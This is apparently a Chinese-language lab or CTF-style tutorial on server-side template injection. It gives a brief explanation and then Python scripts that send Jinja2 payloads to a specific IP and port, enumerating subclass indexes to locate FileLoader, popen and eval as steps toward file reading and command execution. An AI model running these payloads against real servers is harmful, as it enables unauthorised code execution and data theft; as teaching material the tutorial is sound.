SSTI,全称是服务器端模板注入,是一种通过注入恶意模板代码攻击服务器的漏洞。在 Web 开发中,模板引擎是一种工具,用于将后端数据嵌入到 HTML 模板中,动态生成网页内容。它通过占位符将数据渲染到 HTML 页面中,实现逻辑与展示分离,提升开发效率和代码可维护性。然而,如果开发者未对用户输入进行充分的安全处理,攻击者可能利用 SSTI 注入恶意模板代码,导致服务器执行未授权操作,例如敏感信息泄露、任意文件读取或修改,甚至远程命令执行,最终可能完全控制服务器,严重威胁应用程序的安全性。
import requests for i inrange(500): url = "http://101.35.218.130:32935/?name={{().__class__.__base__.__subclasses__()["+str(i)+"]}}" res = requests.get(url=url) if'FileLoader'in res.text: print(i)
POST 请求
1 2 3 4 5 6 7 8 9 10 11
import requests url='http://101.35.218.130:32935/submit' for i inrange(500): data ={"input":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"} try: response=requests.post(url,data=data) if response.status_code ==200: if'FileLoader'in response.text: print("查找的子类的编号是:",i,"-->",data) except: pass
import requests for i inrange(500): url = "http://101.35.218.130:32935/?name={{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}" res = requests.get(url=url) if'popen'in res.text: print(i)
POST 请求
1 2 3 4 5 6 7 8 9 10 11
import requests url='http://101.35.218.130:32938/submit' for i inrange(500): data ={"input":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"} try: response=requests.post(url,data=data) if response.status_code ==200: if'popen'in response.text: print("查找的模块的编号是:",i,"-->",data) except: pass
import requests for i inrange(500): url = "http://101.35.218.130:32935/?name={{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}" res = requests.get(url=url) if'eval'in res.text: print(i)
POST 请求
1 2 3 4 5 6 7 8 9 10 11
import requests url='http://101.35.218.130:32938/submit' for i inrange(500): data ={"input":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"} try: response=requests.post(url,data=data) if response.status_code ==200: if'eval'in response.text: print("查找的内建模块的编号是:",i,"-->",data) except: pass